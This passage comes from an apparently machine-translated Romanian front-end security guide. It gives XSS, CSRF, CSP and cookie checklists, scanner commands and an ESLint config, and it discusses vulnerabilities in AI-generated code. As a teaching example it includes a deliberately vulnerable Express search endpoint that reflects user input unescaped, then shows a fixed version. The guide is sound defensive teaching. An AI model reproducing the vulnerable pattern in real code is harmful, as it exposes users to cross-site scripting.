res.render('index', {
req,
providers: [
{ provide: 'CSP_NONCE', useValue: nonce }
]
});
});
Lista completă de verificare a securității front-end
Utilizați această listă de verificare ca referință pentru fiecare proiect frontend. Fiecare punct reprezintă a apărare specifică împotriva unui atac documentat.
Prevenirea XSS
- Nu utilizați niciodată
innerHTML,document.write()oeval()cu datele utilizatorului - Utilizare
textContentîn loc deinnerHTMLori de câte ori este posibil - Aplicați codificare de ieșire adecvată contextului (HTML, URL, JavaScript, CSS)
- Dezinfectați intrarea HTML cu DOMPurify înainte de randare
- Nu ocoliți dezinfectantul Angular/React fără un motiv documentat
- Validați adresele URL înainte de a le utiliza
hrefosrc(blocjavascript:) - Validați originea
postMessage
Prevenirea CSRF
- Set
SameSite=Lax(minimum) pe toate modulele cookie de sesiune - Implementați indicativul CSRF pentru toate cererile mutative (POST, PUT, DELETE, PATCH)
- Validați antetul
OriginoRefererca o apărare suplimentară - Configurați suportul Angular XSRF (
withXsrfConfiguration) - Nu efectuați acțiuni sensibile prin solicitări GET
- Solicitați re-autentificare pentru operațiuni critice (schimbări de parole, transferuri)
Anteturi CSP și HTTP
- Configurați un CSP restrictiv cu
default-src 'self' - Utilizare
nonceohashpentru scripturi, evitați'unsafe-inline' - Testați CSP-ul în
Report-Onlyînainte de a-l activa - Monitorizați rapoartele de încălcare a CSP în producție
- Set
X-Frame-Options: DENYpentru a preveni clickjacking-ul - Set
X-Content-Type-Options: nosniff - Activați HSTS cu
includeSubDomainsepreload - Configurați
Referrer-PolicyePermissions-Policy - Verifică-ți scorul pe securityheaders.com (obiectiv: A+)
Securitate cookie
- Setați steagul
HttpOnlype toate modulele cookie de sesiune - Setați steagul
Securepentru a trimite cookie-uri numai prin HTTPS - Set
SameSite=LaxoStrict - Defini
PatheDomaincât se poate de restrictiv - Set
Max-Agerezonabil (nu sesiuni nesfârșite) - Nu salvați jetoanele JWT
localStorage(vulnerabil la XSS): preferați cookie-urileHttpOnly
Instrument de testare a securității front-end
Testing security manually is not enough. These professional tools automate detectarea vulnerabilităților XSS, CSRF și a configurațiilor greșite ale antetului.
| Instrumente | Tip | Utilizare principală | Cost |
|---|---|---|---|
| OWASP ZAP | DAST (scaner proxy) | Scanare automată pentru XSS, CSRF, injecție și configurații greșite | Gratuit |
| Suita Burp | DAST (proxy avansat) | Testare de penetrare manuală și automată, fuzzing avansat | Comunitate (gratuit) / Pro (449 USD/an) |
| securityheaders.com | Analiza antetului | Verificați rapid toate anteturile de securitate clasificate A-F | Gratuit |
| Evaluator CSP | Analiza CSP | Validare specifică politicii CSP cu sugestii Google | Gratuit |
| Snyk | SCA + SAST | Scanați vulnerabilități în dependențe și codul sursă | Nivel gratuit/Echipă (25 USD/lună) |
| ESLint Security | SAST (linter) | Reguli Lint pentru a detecta modele XSS în cod (innerHTML, eval) | Gratuit |
// .eslintrc.json - Plugin di sicurezza per Angular/TypeScript
{
"plugins": ["security", "no-unsanitized"],
"rules": {
"no-eval": "error",
"no-implied-eval": "error",
"no-new-func": "error",
"no-unsanitized/method": "error",
"no-unsanitized/property": "error",
"security/detect-unsafe-regex": "warn",
"security/detect-non-literal-regexp": "warn",
"security/detect-object-injection": "warn"
}
}
# Scansione rapida con OWASP ZAP in Docker
docker run -t zaproxy/zap-stable zap-baseline.py \
-t https://your-app.example.com \
-r report.html \
-l WARN
# Scansione completa con autenticazione
docker run -t zaproxy/zap-stable zap-full-scan.py \
-t https://your-app.example.com \
-r full-report.html \
--hook=/zap/auth-hook.py
# Integrazione nella pipeline CI/CD (GitHub Actions)
# Aggiungi come step nel workflow:
# - name: OWASP ZAP Scan
# uses: zaproxy/action-baseline@v0.10.0
# with:
# target: 'https://staging.example.com'
Vulnerabilități în codul generat de AI
Adoptarea masivă a instrumentelor precum Copilot, ChatGPT și Claude pentru generarea de cod a introdus un nou risc: aceste instrumente generează adesea cod care funcționează corect, dar conține vulnerabilități de securitate. Potrivit Securitatea codului GenAI Raportul Veracode 2025, statisticile sunt alarmante.
Statistici de securitate a codului AI
- Rata de eșec de 86%. pentru Cross-Site Scripting (CWE-80) - codul generat de AI nu include aproape niciodată dezinfectarea XSS
- Rata de eșec de 88%. pentru Log Injection (CWE-117) - datele utilizatorului sunt înregistrate fără igienizare
- Rata de eșec de 72%. pentru codul Java generat de AI
- Rata medie de eșec de 45%. pe toate limbile testate
- Rata de eșec de 38-45%. specific pentru Python, JavaScript și C#
// TIPICO OUTPUT AI: funziona ma e vulnerabile
// "Crea un endpoint che mostra i risultati di ricerca"
app.get('/search', (req, res) => {
const query = req.query.q; // Nessuna sanitizzazione!
const results = searchDatabase(query);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r => `<li>${r.title}</li>`).join('')}</ul>
`);
});
// XSS: query e r.title non sono sanitizzati
// VERSIONE CORRETTA (dopo code review di sicurezza)
import { escape as escapeHtml } from 'lodash';
app.get('/search', (req, res) => {
const query = escapeHtml(String(req.query.q || ''));
const results = searchDatabase(req.query.q as string);
res.send(`
<h1>Risultati per: ${query}</h1>
<ul>${results.map(r =>
`<li>${escapeHtml(r.title)}</li>`
).join('')}</ul>
`);
});
Regulă fundamentală pentru codul AI
Codul generat de AI nu este sigur în mod implicit. Tratați fiecare fragment generat de AI ca cod scris de un dezvoltator junior - ar putea funcționa, dar necesită mereu unul revizuirea siguranței înainte de a intra în producție. Verificați în special: igienizarea intrării, evacuarea ieșirii, tratarea erorilor (închis cu eșec), verificări de autorizare și absența secretelor codificate.
Concluzii și pașii următori
Securitatea front-end nu este opțională: este o responsabilitate fundamentală a fiecărui dezvoltator. XSS, CSRF și lipsa antetelor de securitate sunt vulnerabilități concrete care vin exploatate zilnic. Vestea bună este că apărările există, sunt bine documentate și cadre precum Angular le implementează nativ.
Calea practică pentru a vă securiza aplicația frontală:
- Ziua 1: Configurați antetele de securitate cu Casca și verificați scorul la securityheaders.com
- Ziua 2: Implementați un CSP în modul Doar raportare și analizați rapoartele de încălcare
- Ziua 3: Verificați toate locurile în care introduceți datele utilizatorului în DOM: utilizați textContent sau dezinfectați
- Ziua 4: Configurați protecția CSRF: cookie-uri SameSite + simbolul XSRF de la Angular
- Ziua 5: Rulați o scanare OWASP ZAP pe aplicația dvs. de intermediar
Următoarele articole din serie
În articolele viitoare ne vom aprofunda în alte domenii critice ale securității web:
- Articolul 03: Injecție SQL și validare a intrărilor - Protecție backend cu interogări parametrizate și validare avansată
- Articolul 04: Autentificare sigură - JWT, OAuth2, sesiuni și autentificare cu mai mulți factori
- Articolul 05: Securitate API - Limitarea ratei, cheile API și securitatea API REST/GraphQL
Siguranța este un proces continuu, nu o linie de sosire. Fiecare actualizare a cadrului, fiecare nouă dependență, fiecare linie de cod (generată umană sau AI) poate introduce una vulnerabilitate. Scopul nu este securitatea perfectă, ci construirea uneia apărare în profunzime unde fiecare nivel încetinește și îl blochează pe atacator, făcând atacul dezavantajos din punct de vedere economic.







